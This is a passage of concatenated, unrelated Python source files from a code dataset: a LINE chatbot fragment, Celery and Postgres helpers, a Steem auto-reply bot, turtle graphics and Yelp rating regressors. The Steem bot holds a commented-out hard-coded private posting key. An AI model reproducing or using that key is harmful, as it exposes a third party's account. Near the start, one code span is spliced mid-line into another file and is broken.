PostbackAction(\n label=\"不是\",\n data=rejectData,\n )\n ])\n )\n line_bot_api.reply_message(event.reply_token, replyMsg)\n elif intent == \"welcome\": # reply welcom msg\n line_bot_api.reply_message(event.reply_token, TextSendMessage(text=responesText))\n else: # otherwise\n line_bot_api.reply_message(event.reply_token, TextSendMessage(text=responesText))\n except LineBotApiError as e:\n print(e)\n@handler.add(event=MessageEvent, message=LocationMessage) #find gym , and reply gym flex message\ndef handle_location_message(event: MessageEvent):\n user_id = event.source.user_id\n try:\n user_location_latitude=event.message.latitude\n user_location_longitude = event.message.longitude\n print(user_location_latitude,user_location_longitude)\n line_bot_api.reply_message(event.reply_token,findGym(str(user_location_latitude),str(user_location_longitude)))\n except LineBotApiError as e:\n print(e)\n\ndef history_flexMessage(userid,date):\n uri = host + \"/nutritionweb/history/\" + userid+\"/look/0\"\n results = userFood.objects.filter(userId=userid,date=date)\n length=len(results)\n def item_loop(length):\n item_list=list()\n iniitem = BoxComponent(\n\n background_color=\"#EA8244\",\n layout='baseline',\n contents=[\n TextComponent(\n type=\"text\",\n text=\"您於今日還沒有紀錄喔!!!!\",\n color=\"#FFFFFF\",\n size=\"xl\",\n wrap=True,\n align=\"center\",\n ),\n ]\n )\n if length == 0:\n item_list.append(iniitem)\n elif length>10:\n item = BoxComponent(\n background_color=\"#EA8244\",\n layout='baseline',\n contents=[\n TextComponent(\n type=\"text\",\n text=\"您紀錄太多筆無法喔,可以點擊下方按鈕查看紀錄\",\n color=\"#FFFFFF\",\n size=\"xl\",\n wrap=True,\n align=\"center\",\n ),\n ]\n )\n else:\n for result in results:\n item = BoxComponent(\n background_color=\"#EA8244\",\n layout='baseline',\n contents=[\n TextComponent(\n type=\"text\",\n text=str(result.food_name),\n color=\"#FFFFFF\",\n size=\"xs\",\n wrap=True,\n align=\"center\",\n ),\n TextComponent(\n type=\"text\",\n text=str(result.food_quantity),\n color=\"#FFFFFF\",\n size=\"xs\",\n wrap=True,\n align=\"center\",\n ),\n TextComponent(\n type=\"text\",\n text=str(result.food_power),\n color=\"#FFFFFF\",\n size=\"xs\",\n wrap=True,\n align=\"center\",\n ),\n TextComponent(\n type=\"text\",\n text=str(result.food_protein),\n color=\"#FFFFFF\",\n size=\"xs\",\n wrap=True,\n align=\"center\",\n ),\n TextComponent(\n type=\"text\",\n text=str(result.food_carbohydrate),\n color=\"#FFFFFF\",\n size=\"xs\",\n wrap=True,\n align=\"center\",\n ),\n TextComponent(\n type=\"text\",\n text=str(result.food_fat),\n color=\"#FFFFFF\",\n size=\"xs\",\n wrap=True,\n align=\"center\",\n ),\n ]\n )\n item_list.append(item)\n\n return item_list\n\n temp1 = item_loop(length)\n i=0\n temp=[]\n while i < 11:\n if i= elem[0]:\n #shift all elements on 1 sec to right\n self.counted[_i] = index + 1\n return\n else:\n self.counted[_i] = 0\n \n\n def scheduler(self):\n ''' This scheduler called by timer every self.timescope/10 sec '''\n #print(\"Scheduler called queue: {}\".format(list(self.store)))\n ls = list(self.store)\n #print(\"ls[0]: {}\".format(ls[0]) )\n #print(\"ls[0]: {} len(ls): {} \".format(ls[0], len(ls)) )\n #print(\"self.counted {}\".format(self.counted))\n for index in range(len(ls)):\n #print(\"elem:{}\".format(ls[index]))\n ls[index][0] += self.timestep # increase in seconds\n #slice \n self.right_shift(ls[index], index)\n # when we reach last second of timescope\n if ls[index][0] > self.timescope: \n #remove the last element from the queue which is out of time scope\n del self.store[index]\n break\n self.t2 = threading.Timer(self.timestep, self.scheduler)\n self.t2.start()\n def stop(self):\n self.t1.cancel() \n self.t2.cancel()\n \n #implements equals override it in child class\n def equals(self,hash1, hash2):\n return hash1==hash2\n \n def getCountedObjects(self):\n return max(self.counted) \n \n def toString(self, prefix = '', postfix= ''):\n ls = list(self.store)\n return [ prefix + str(val[1]) + postfix for val in ls] \n \n def add(self,hashcode):\n ''' Add a new object to queue , only if there is no \"equal\" objects ''' \n n=0\n for elem in list(self.store):\n if self.equals(hashcode, elem[1]):\n break\n n+=1\n #print('self.store.qsize({}), n={}'.format(len(self.store), n)) \n ret = len(self.store) == n\n if ret:\n self.store.append([0,hashcode])\n return ret\n\n","sub_path":"objCountByTimer.py","file_name":"objCountByTimer.py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"129767770","text":"from celery import Celery\n\nclass CeleryTask:\n def __init__(self, id, name, args, kwargs):\n self.id = id\n self.name = name\n self.args = args\n self.kwargs = kwargs\n\ndef get_task_by_id(app, id):\n inspector = app.control.inspect()\n try:\n active_task_found = _get_task(id, inspector.active())\n if active_task_found:\n return active_task_found\n reserved_task_found = _get_task(id, inspector.reserved())\n if reserved_task_found:\n return reserved_task_found\n scheduled_task_found = _get_scheduled_task(id, inspector.scheduled())\n if scheduled_task_found:\n return scheduled_task_found\n except Exception:\n pass\n return None\n\ndef _get_task(id, active_task_dict):\n for worker, task_list in active_task_dict.items():\n for task in task_list:\n if task['id'] == id:\n return CeleryTask(task['id'], task[\"name\"], task[\"args\"], task[\"kwargs\"])\n return None\n\ndef _get_scheduled_task(id, scheduled_task_dict):\n for worker, task_scheduled_list in scheduled_task_dict.items():\n for scheduled in task_scheduled_list:\n task = scheduled['request']\n if task['id'] == id:\n return CeleryTask(task[\"id\"], task[\"name\"], task[\"args\"], task[\"kwargs\"])\n return None\n\ndef are_worker_active(app):\n worke_pong = app.control.inspect().ping()\n if not worke_pong:\n return False\n try:\n for worker, response in worke_pong.items():\n if response['ok']:\n return True\n except Exception:\n pass\n return False","sub_path":"celery_singleton/inspect_celery.py","file_name":"inspect_celery.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"293305126","text":"\"\"\"Catalog tool columns updater setup handlers.\n\"\"\"\nfrom zope.component import adapts\nfrom zope.component import queryUtility\n\nfrom Products.ZCatalog.interfaces import IZCatalog\nfrom Products.GenericSetup.interfaces import ISetupEnviron\nfrom Products.GenericSetup.ZCatalog.exportimport import ZCatalogXMLAdapter\n\nfrom quintagroup.catalogupdater.interfaces import ICatalogUpdater\n\n\nclass CatalogUpdaterXMLAdapter(ZCatalogXMLAdapter):\n \"\"\"XML im- and exporter for ZCatalog with\n support of columns updates\n \"\"\"\n\n adapts(IZCatalog, ISetupEnviron)\n\n def _initColumns(self, node):\n super(CatalogUpdaterXMLAdapter, self)._initColumns(node)\n\n updatecols = []\n for child in node.childNodes:\n if child.nodeName != 'column':\n continue\n col = str(child.getAttribute('value'))\n if child.hasAttribute('update'):\n # Add the column to update list if it is there\n if col in self.context.schema()[:]:\n updatecols.append(col)\n continue\n\n # Update columns in catalog\n if len(updatecols) > 0:\n catalog = self.context\n\n self._logger.info('Updating %s columns for %s Catalog.' % (\n updatecols, '/'.join(catalog.getPhysicalPath())) )\n\n cu = queryUtility(ICatalogUpdater, name='catalog_updater')\n cu.updateMetadata4All(catalog, updatecols)\n","sub_path":"quintagroup.catalogupdater/tags/0.1/quintagroup/catalogupdater/exportimport/catalogupdater.py","file_name":"catalogupdater.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"160590956","text":"\r\nimport psycopg2\r\nfrom sqlalchemy import create_engine\r\nfrom send_notification import send_custom_mail\r\nimport variables as var\r\n\r\n\"\"\"\r\n This class is to create database access object,\r\n it provides access methods to perform database operations\r\n\"\"\"\r\n\r\n# Fetch db details from variables\r\ndatawarehouse_db_config = {\r\n 'database': '{}'.format(var.datawarehouse_name),\r\n 'user': '{}'.format(var.user_name),\r\n 'password': '{}'.format(var.password),\r\n 'host': '{}'.format(var.datawarehouse_host)\r\n}\r\n\r\n\r\ndatawarehouse_db_engine = 'postgresql+psycopg2://{0}:{1}@{2}:5432/{3}'.format(\r\n var.user_name, var.password, var.datawarehouse_host, var.datawarehouse_name)\r\n\r\n\r\n# Connecting PostgreSQL DB\r\ndef dbConnection():\r\n \"\"\" Creates the Postgre sql connection using the variable file.\r\n\r\n Args:\r\n No Arguments\r\n\r\n Returns:\r\n Postgre sql db connection.\r\n \"\"\"\r\n conn = psycopg2.connect(**datawarehouse_db_config)\r\n return conn\r\n\r\n\r\ndef dbEngine():\r\n \"\"\" Creates the Postgre sql connection using the variable file.\r\n\r\n Args:\r\n No Arguments\r\n\r\n Returns:\r\n Postgre sql connection engine connection.\r\n \"\"\"\r\n engine = create_engine(datawarehouse_db_engine)\r\n # print(\"Database opened successfully\")\r\n return engine\r\n\r\n\r\ndef executeQuery(query):\r\n \"\"\" Execute query on datawarehouse table.\r\n\r\n Args:\r\n query to be executed\r\n\r\n Returns:\r\n varchar: if query is successful then it returns 'SUCCESS', \r\n if query is failed to execute then it returns error message\r\n \"\"\"\r\n conn = dbConnection()\r\n try:\r\n cur = conn.cursor()\r\n cur.execute(query)\r\n conn.commit()\r\n return 'SUCCESS'\r\n except (Exception, psycopg2.Error) as error:\r\n print(error)\r\n send_custom_mail('database operation FAILED in Cost of Goods ETL',error)\r\n return error\r\n\r\n finally:\r\n # closing database connection.\r\n if(conn):\r\n cur.close()\r\n conn.close()\r\n\r\n\r\ndef executeQueryReturnId(query):\r\n \"\"\" Execute query on datawarehouse table and return value generated by identity column\r\n\r\n Args:\r\n query to be executed\r\n\r\n Returns:\r\n integer: return value generated by identity column\r\n \"\"\"\r\n conn = dbConnection()\r\n try:\r\n cur = conn.cursor()\r\n cur.execute(query)\r\n id = cur.fetchone()\r\n conn.commit()\r\n return id[0]\r\n except (Exception, psycopg2.Error) as error:\r\n send_custom_mail('database operation FAILED in Cost of Goods ETL',error)\r\n raise Exception\r\n\r\n finally:\r\n # closing database connection.\r\n if(conn):\r\n cur.close()\r\n conn.close()\r\n\r\n\r\ndef executeQueryAndReturnDF(query):\r\n \"\"\" Execute query on datawarehouse table and return query qiut put as pandas dataframe\r\n\r\n Args:\r\n query to be executed\r\n\r\n Returns:\r\n pandad dataframe: return query output as pandas data frame\r\n \"\"\"\r\n import pandas as pd\r\n return pd.read_sql_query(query, con=dbEngine())\r\n\r\n\r\ndef execute_proc(procedure_name):\r\n \"\"\"\r\n This method executes the procedure\r\n\r\n Args:\r\n String: Name of procedure to be executed in database\r\n Returns:\r\n No return variable\r\n \"\"\"\r\n\r\n engine = dbConnection()\r\n cur = engine.cursor()\r\n cur.callproc(procedure_name)\r\n engine.commit()\r\n\r\n","sub_path":"data_extractor_dao.py","file_name":"data_extractor_dao.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"104579963","text":"# **************************************\n# ************* IMPORTS ****************\n# **************************************\n\nfrom steem import Steem\nfrom steem.blockchain import Blockchain\nfrom steem.post import Post\nfrom steem.steemd import Steemd\nfrom steem.transactionbuilder import TransactionBuilder\nfrom steembase.operations import Comment\nimport random, threading\nimport re\nimport time\nimport sys\nimport os\nimport sys, traceback, logging\n\n# **************************************\n# ******** ACTIVE NODES LIST ***********\n# **************************************\n\npublicnodes = [\n\t'https://steemd.steemitstage.com',\n\t'https://api.steemit.com',\n\t'https://gtg.steem.house:8090',\n\t'https://seed.bitcoiner.me',\n\t'https://steemd.privex.io',\n\t'https://steemd.pevo.science',\n\t'https://rpc.steemliberator.com'\n]\n\n# **************************************\n# ****** Globals + ENV variables *******\n# **************************************\n\nsteemPostingKey = os.environ.get('PostKey')\nauthor_m = os.environ.get('Author')\n#steem = Steem(wif=steemPostingKey)\n#steem = Steem(wif=\"5K1YAMfF8PfLmoYpFzPGLqVjgqVrYEhVXSV5s1iERDUopi33Jiv\")\nsteem = Steem(publicnodes, keys = steemPostingKey)\n# for debugging with single poster on steemit\ndebug_acc = os.environ.get('DebugAuthor')\n#replyString = \"\"\nblck = Blockchain()\n#flag = 0\n\n# **************************************\n# ************* FUNCTIONS **************\n# **************************************\n\n#This function will get all the posts from given category(tag) and print top 3 posts from \"created\", \"hot\", and \"trending\" sections of that category(tag)\n#Argument: Category str\n\nclass printposts(threading.Thread):\n\tdef __init__(self, cat_p, comment_t):\n\t\tthreading.Thread.__init__(self)\n\t\tself.cat_c = cat_p\n\t\tself.comment = comment_t\n\t\tflag = 0\n\t\tglobal steem\n\t\tglobal debug_acc\n\t\tglobal author_m\n\t\n\tdef run(self):\n\t\tself.prepReply()\n\n\tdef prepReply(self):\n\t\tstart_time = time.time()\n\t\tcreatedposts = steem.get_posts(limit=3, sort=\"created\", category=self.cat_c)\n\t\thotposts = steem.get_posts(limit=3, sort=\"hot\", category=self.cat_c) \n\t\ttrendingposts = steem.get_posts(limit=3, sort=\"trending\", category=self.cat_c)\n\t\t\n\t\tprint(\"[Normal Process] CAT (prepReply): %s\" % self.cat_c)\n\t\treplyString = \"\"\n\t\tflag = 0\n\t\tstrList = [\"And Roger was crazy with his bots and everything.\",\n\t\t\t\"Bots... I think that is a hot topic.\",\n\t\t\t\"We're fascinated with bots because they are reflections of ourselves.\",\n\t\t\t\"Our worst comes out when we behave like bots or professionals.\",\n\t\t\t\"Kids love robots. They're this fanciful, cool thing.\",\n\t\t\t\"In the twenty-first century, the robot will take the place which slave labor occupied in ancient civilization.\",\n\t\t\t\"I'm such a robot when it comes to work.\"\n\t\t]\n\t\tinitStr = random.randint(0, 6)\n\t\treplyString += \"
    \"+strList[initStr]+\"
    \"\n\t\n\t\tprint(\"[Normal Process] Received Category(Tag): %s\" % self.cat_c)\n\t\treplyString += \"

    Hello @\"+self.comment['author']+\" | You have summoned me, I shall serve your requirements. | Here's a sneak peek of #\"+self.cat_c+\" posts

    \"\n\n\t\ti = 0\n\t\t'''\t********************************************************************************\n\t\t# For initial release, use only trending posts display. Reduces the length of reply.\n\t\t************************************************************************************\n\t\tif len(createdposts) >= 1:\n\t\t\treplyString += \"

    Top \"+str(len(createdposts))+\" Recently Created Posts

    \"\n\t\t\tfor i in range(0, len(createdposts)):\n\t\t\t\tfirstpost = createdposts[i]\n\t\t\t\tpostLink = \"https://steemit.com/@\"+firstpost[\"author\"]+\"/\"+firstpost[\"permlink\"]\n\t\t\t\tprint(\"[Normal Process] https://steemit.com/@%s/%s\" % (firstpost[\"author\"], firstpost[\"permlink\"]))\n\t\t\t\treplyString += \"
    #\"+str(i+1)+\". \"+firstpost[\"title\"]+\" | by @\"+firstpost[\"author\"]\n\t\t\t\tif i == 3:\n\t\t\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"[Normal Process] No posts in given tag\")\n\t\t\tflag = 1\n\t\n\t\treplyString += \"
    \"\n\t\n\t\tif len(hotposts) >= 1:\n\t\t\treplyString += \"

    Top \"+str(len(hotposts))+\" Hot Posts

    \"\n\t\t\tfor i in range(0, len(hotposts)):\n\t\t\t\tfirstpost = hotposts[i]\n\t\t\t\tpostLink = \"https://steemit.com/@\"+firstpost[\"author\"]+\"/\"+firstpost[\"permlink\"]\n\t\t\t\tprint(\"[Normal Process] https://steemit.com/@%s/%s\" % (firstpost[\"author\"], firstpost[\"permlink\"]))\n\t\t\t\treplyString += \"
    #\"+str(i+1)+\". \"+firstpost[\"title\"]+\" | by @\"+firstpost[\"author\"]\n\t\t\t\tif i == 3:\n\t\t\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"[Normal Process] No posts in given tag\")\n\t\t\tflag = 1\n\t\n\t\treplyString += \"
    \"\n\t\t******************************************************************************** '''\n\t\t\n\t\tif len(trendingposts) >= 1:\n\t\t\treplyString += \"

    Top \"+str(len(trendingposts))+\" Trending Posts

    \"\n\t\t\tfor i in range(0, len(trendingposts)):\n\t\t\t\tfirstpost = trendingposts[i]\n\t\t\t\tpostLink = \"https://steemit.com/@\"+firstpost[\"author\"]+\"/\"+firstpost[\"permlink\"]\n\t\t\t\tprint(\"[Normal Process] Post in category: https://steemit.com/@%s/%s\" % (firstpost[\"author\"], firstpost[\"permlink\"]))\n\t\t\t\treplyString += \"
    #\"+str(i+1)+\". \"+firstpost[\"title\"]+\" | by @\"+firstpost[\"author\"]\n\t\t\t\tif i == 3:\n\t\t\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"[Normal Process] No posts in given tag\")\n\t\t\tflag = 1\n\t\t\n\t\treplyString += \"
    \"\n\t\treplyString += \" I'm a bot, beep boop | Here's my Introduction | Inspired By Reddit SneakPeekBot | Recreated By @miserableoracle\"\n\t\n\t\tif (flag == 0):#(self.comment[\"author\"] == debug_acc) and (flag == 0): \n\t\t\tprint(\"[Normal Process] REPLY IN PROGRESS\")\n\t\t\tself.comment.reply(replyString, '', author=author_m, meta=None)\n\t\telif (flag == 1):\n\t\t\tprint(\"[Normal Process] No posts found in mentioned tag. Skip the comment.\")\n\t\telse:\n\t\t\tprint(\"[Normal Process] Out of testing phase\")\n\n\t\tprint(\"[Normal Process] PROCESS FINISH TIME: %s\" % (time.time() - start_time))\n\t\t\n# **************************************\n# ************ MAIN FUNC ***************\n# **************************************\n\nif __name__ == \"__main__\":\n\t# Main loop\t\t\n\twhile 1:\n\t\t# Certain posts are receiving \"PostDoesNotExist\" exeption. Yet to find out the reason.\n\t\ttry: \n\t\t\tfor comment in steem.stream_comments():\n\t\t\t\t#Testing phase only print\n\t\t\t\t#print(\"[All Trace] NEED TO CHECK : https://steemit.com/@%s/%s\" % (comment[\"author\"], comment[\"permlink\"]))\n\t\t\t\tmatch = re.search(r'(?i)(!*)sneakpeek(!*) (?i)(#)(\\w+)[\\w-]+', comment[\"body\"])\n\t\t\t\tif match is None:\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\t# Check if the author of the post is sneakpeek bot, if TRUE ignore the rest of the part and go to next iteration\n\t\t\t\t\tif (comment[\"author\"] == author_m):\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t# Check if the comment is main post, if TRUE ignore the rest of the part and go to next iteration\n\t\t\t\t\tif (comment.is_main_post()):\n\t\t\t\t\t\tprint(\"[Future] MATCHED: https://steemit.com/@%s/%s\" % (comment[\"author\"], comment[\"permlink\"]))\n\t\t\t\t\t\tprint(\"[Future] This is a main post. SneakPeek works on comments only (as of now)\")\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\tprint(\"[Normal Process] MATCHED: https://steemit.com/@%s/%s\" % (comment[\"author\"], comment[\"permlink\"]))\n\t\t\t\t\ttemp = match.group(0)\n\t\t\t\t\ttemp2 = temp.split() #match will consist of (!*)sneakpeek(!*) as group 0 and #category as group 1\n\t\t\t\t\tcat = temp2[1].replace(\"#\", \"\")\n\t\t\t\t\tif not cat:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telse:\n\t\t\t\t\t\t#Check whether the sub-comments already include the comment from sneakpeek bot, if TRUE ignore the rest of the part and go to next iteration\n\t\t\t\t\t\tt_ignore = 0\n\t\t\t\t\t\tsub_comm_list = steem.get_content_replies(comment[\"author\"], comment[\"permlink\"])\n\t\t\t\t\t\tfor subcoms in sub_comm_list:\n\t\t\t\t\t\t\tif (subcoms['author'] == author_m):\n\t\t\t\t\t\t\t\tprint(\"[Normal Process] SneakPeek Bot comment already present. Ignore and go to next iteration\")\n\t\t\t\t\t\t\t\tt_ignore = 1\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\tif (t_ignore == 1):\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t#newpid = os.fork()\n\t\t\t\t\t\tprint(\"[Normal Process] CAT (Func-MAIN()): %s\" % cat)\n\t\t\t\t\t\t# Threading is required in order to make sure\n\t\t\t\t\t\t# that main loop doesn't miss a single block on the blockchain \n\t\t\t\t\t\t# while processing the current match. \n\t\t\t\t\t\t# Time processing traces added\n\t\t\t\t\t\tnthread = printposts(cat, comment)\n\t\t\t\t\t\tnthread.start()\t\n\t\texcept:\n\t\t\tprint(\"[Exception] Error Occurred @ Block No: \", blck.get_current_block_num())\n\t\t\texc_type, exc_value, exc_traceback = sys.exc_info()\n\t\t\tprint(\"[Exception] Type : \", exc_type)\n\t\t\tprint(\"[Exception] Value : \", exc_value)\n\t\t\t#Enough information present in Type and Value, incase further information is required then use following\n\t\t\tprint(\"[Exception] Traceback : \")\n\t\t\ttraceback.print_tb(exc_traceback)\n\t\t\t\n# Filter tags for Alerts Settings\n# [Normal Process]\n# [All Trace]\n# [Future]\n# [Exception]\n","sub_path":"autobot.py","file_name":"autobot.py","file_ext":"py","file_size_in_byte":8895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"299651656","text":"# turtle. tracer(n=None, delay=None)\r\n# Parameters: n – nonnegative integer\r\n# delay – nonnegative integer\r\n# Turn turtle animation on/off and set delay for update drawings. \r\n# If n is given, only each n-th regular screen update is really performed. \r\n# (Can be used to accelerate the drawing of complex graphics.) \r\n# When called without arguments, returns the currently stored value of n.\r\n# Second argument sets delay value (see delay()).\r\n\r\nimport turtle\r\nturtle = turtle.Turtle()\r\n\r\nscreen = turtle.getscreen()\r\n\r\nscreen.tracer(8, 25)\r\ndist = 2\r\nfor i in range(200):\r\n turtle.fd(dist)\r\n turtle.rt(90)\r\n dist += 2\r\n","sub_path":"Turtle/tracerControl.py","file_name":"tracerControl.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"211821507","text":"import gzip, ujson, re, json\nimport pandas as pd\nimport numpy as np\nfrom sklearn import cross_validation\nfrom sklearn import metrics, base, neighbors, grid_search\nimport dill\nimport os\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom scipy import sparse\nfrom sklearn import linear_model\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nimport toolz\n\n# pick columns from jason\ndef pick(whitelist, dicts):\n return [toolz.keyfilter(lambda k: k in whitelist, d)\n for d in dicts]\n\n# load data into a yelp(a list of dict)\nyelp = []\nwith gzip.open('yelp_train_academic_dataset_business.json.gz', 'rb') as f:\n for line in f:\n yelp.append(ujson.loads(line))\nX = yelp\ny = [i['stars'] for i in yelp]\n\n###########################################################\n# Q1: predice grade from city \n###########################################################\nclass EstimatorQ1(base.BaseEstimator, base.RegressorMixin):\n def __init__(self):\n self.clf = {}\n\n def fit(self, X, y):\n city_star_df = pd.DataFrame({'city': X, 'star': y})\n city_star_groupdf = city_star_df.groupby('city').mean()\n city_star = city_star_groupdf.to_dict().values()[0]\n city_star['Not_In_Training'] = np.mean(y)\n self.clf = city_star\n self.nclf = np.mean(y)\n \n return self\n\n def predict(self, X):\n if X['city'] in self.clf.keys():\n return self.clf[X['city']]\n else:\n return self.nclf\n \nestimator = EstimatorQ1() # initialize\n\n# need to be put in model\nstar_list = [i['stars'] for i in yelp]\ncity_list = [i['city'] for i in yelp]\ncity_star_df = pd.DataFrame({'city': city_list, 'star': star_list})\ncity_star_groupdf = city_star_df.groupby('city').mean()\ncity_star_dict = city_star_groupdf.to_dict().values()[0]\ncity_star_dict['Phoenix']\nX = city_star_dict.keys()\ny = city_star_dict.values()\n\nestimator.fit(X, y) # fit data\nos.remove('myQ1')\ndill.dump(estimator, open(\"myQ1\", \"w\"))\n\n###########################################################\n# Q2: predice grade from ['latitude', 'longitude'] \n###########################################################\nclass Q2Transformer(base.BaseEstimator, base.TransformerMixin):\n def __init__(self):\n self.trans_=[]\n\n def fit(self, X, y=None):\n return self\n \n def transform(self, X):\n if type(X) is list:\n return [[i[\"latitude\"], i[\"longitude\"]] for i in X]\n else:\n return [X[\"latitude\"], X[\"longitude\"]]\n \n \nclass EstimatorQ2(base.BaseEstimator, base.RegressorMixin):\n def __init__(self, algorithm):\n self.clf = algorithm\n\n def fit(self, X, y):\n self.transformer = Q2Transformer() # initialize\n self.transformer.fit(X) # fit / transform data\n X_trans = self.transformer.transform(X)\n \n parameters = {'n_neighbors':range(5,10), 'leaf_size':range(10,30)}\n clfCV = grid_search.GridSearchCV(self.clf, parameters, cv=3)\n clfCV.fit(X_trans,y)\n self.best_estimator= clfCV.best_estimator_\n \n return self\n\n def predict(self, X):\n return self.best_estimator.predict(self.transformer.transform(X))\n\nQ2estimator = EstimatorQ2(neighbors.KNeighborsRegressor()) # initialize\nQ2estimator.fit(X, y) # fit data\nos.remove('myQ2')\ndill.dump(Q2estimator, open(\"myQ2\", \"w\"))\n\n\n\n###########################################################\n# Q3: predice grade from ['categories'] \n###########################################################\nclass Q3Transformer(base.BaseEstimator, base.TransformerMixin):\n '''\n class variable: self.col; self.vectorizer\n '''\n def __init__(self): \n self.col = 'categories' # initialize the column name\n\n def fit(self, X, y=None):\n # pick the column\n pick_category = pick(self.col, X)\n category_train = [' '.join(pick_category[i].values()[0]) for i in range(0,len(pick_category))]\n \n # transform the training records\n self.vectorizer = TfidfVectorizer(min_df=1) \n self.vectorizer.fit_transform(category_train)\n \n return self\n\n \n def transform(self, X):\n # transform the test record\n if type(X) is list:\n pick_category = pick(self.col, X)\n category_X = [' '.join(pick_category[i].values()[0]) for i in range(0,len(pick_category))]\n else:\n category_X = [' '.join(X[self.col])]\n \n X_trans = self.vectorizer.transform(category_X)\n return X_trans \n\n\nclass EstimatorQ3(base.BaseEstimator, base.RegressorMixin):\n '''\n self.col, self.transformer, self.clf\n '''\n def __init__(self):\n self.col = 'categories' # column to pick\n self.transformer = Q3Transformer() # initialize\n \n\n def fit(self, X, y):\n # transform training data\n self.transformer.fit(X)\n X_train = self.transformer.transform(X)\n \n # train the model\n clf = linear_model.RidgeCV(alphas=[0.1, 1.0, 10.0])\n self.clf = clf.fit(X_train.A, y) \n return self.clf\n\n def predict(self, X): \n X_test = self.transformer.transform(X) # transform test data\n \n return float(self.clf.predict(X_test)) # predice test result\nQ3estimator = EstimatorQ3() # initialize\nQ3estimator.fit(X, y) # fit data\nos.remove('myQ3')\ndill.dump(Q3estimator, open(\"myQ3\", \"w\"))\n\n\n\n###########################################################\n# Q4: predice grade from ['attributes'] \n###########################################################\nclass Q4Transformer(base.BaseEstimator, base.TransformerMixin):\n '''\n class variable: self.col; self.vectorizer\n '''\n def __init__(self): \n self.col = 'attributes' # initialize the column name\n \n # flatten out dics of dicts\n def flatten_dict(self, Xdict):\n p_dict = Xdict.copy()\n for key in p_dict.keys():\n #print key, p_dict[key], type(p_dict[key])\n if type(p_dict[key]) == dict: \n # son is a dict, flatten\n son_dict = self.flatten_dict(p_dict[key]).copy()\n for son_key in son_dict.keys():\n son_dict[key+'_'+son_key] = son_dict.pop(son_key)\n del p_dict[key]\n p_dict.update(son_dict)\n \n elif type(p_dict[key]) in [unicode,str]:\n # son is a string, concatate to key\n son_str = p_dict[key]\n p_dict[key] = 1\n p_dict[key+'_'+son_str] = p_dict.pop(key)\n \n elif type(p_dict[key]) not in [bool, int, float]: \n raise ValueError(\"type error in flatten_dict!\")\n return p_dict\n\n\n def fit(self, X, y=None):\n # flatten the train dict\n attr_train = [self.flatten_dict(record[self.col]) for record in X]\n \n # transform the training records\n self.vectorizer = DictVectorizer(sparse=False)\n self.vectorizer.fit_transform(attr_train)\n return self\n\n def transform(self, X):\n # transform the test record\n if type(X) is list:\n attr_X = [self.flatten_dict(record[self.col]) for record in X]\n else:\n attr_X = self.flatten_dict(X[self.col])\n X_trans = self.vectorizer.transform(attr_X)\n return X_trans \n \nclass EstimatorQ4(base.BaseEstimator, base.RegressorMixin):\n '''\n self.col, self.transformer, self.clf\n '''\n def __init__(self):\n self.col = 'attributes' # column to pick\n Q4transformer = Q4Transformer() # initialize\n self.transformer = Q4transformer\n\n def fit(self, X, y):\n # transform training data \n self.transformer.fit(X)\n X_train = self.transformer.transform(X)\n \n # train the model\n clf = linear_model.RidgeCV(alphas=[0.1, 1.0, 10.0])\n self.clf = clf.fit(X_train, y) \n return self.clf\n\n def predict(self, X): \n X_test = self.transformer.transform(X) # transform test data\n \n return float(self.clf.predict(X_test)) # predice test result\nQ4estimator = EstimatorQ4() # initialize\nQ4estimator.fit(X, y) # fit data\nos.remove('myQ4')\ndill.dump(Q4estimator, open(\"myQ4\", \"w\"))\n\n\n###########################################################\n# Q5: predice grade from ['city', 'latitude', 'longitude', 'categories', 'attributes']\n###########################################################\nclass Q5Transformer(base.BaseEstimator, base.TransformerMixin):\n '''\n class variable: self.col; self.vectorizer\n '''\n def __init__(self): \n self.col = []\n\n def fit(self, X, y=None):\n Trans2 = Q2Transformer()\n Trans3 = Q3Transformer()\n Trans4 = Q4Transformer()\n combined_features = FeatureUnion([(\"Q2\", Trans2), (\"Q3\", Trans3), (\"Q4\", Trans4)])\n self.fit = combined_features.fit(X)\n return self\n\n def transform(self, X):\n return self.fit.transform(X).A\n \n \n \n \nclass EstimatorQ5(base.BaseEstimator, base.RegressorMixin):\n '''\n self.col, self.transformer, self.clf\n '''\n def __init__(self):\n Q5transformer = Q5Transformer() # initialize\n self.transformer = Q5transformer\n\n def fit(self, X, y):\n # transform training data \n self.transformer.fit(X)\n X_train = self.transformer.transform(X)\n \n # train the model\n clf = linear_model.RidgeCV(alphas=[0.1, 1.0, 10.0])\n self.clf = clf.fit(X_train, y) \n return self.clf\n\n def predict(self, X): \n X_test = self.transformer.transform(X) # transform test data\n \n return float(self.clf.predict(X_test)) # predice test result\nQ5estimator = EstimatorQ5() # initialize\nQ5estimator.fit(X, y) # fit data\nos.remove('myQ5')\ndill.dump(Q5estimator, open(\"myQ5\", \"w\"))\n\n","sub_path":"ml/Models_ml.py","file_name":"Models_ml.py","file_ext":"py","file_size_in_byte":10030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"634558431","text":"from abapDeclaration import *\n\n\nclass AbapClassMethod:\n def 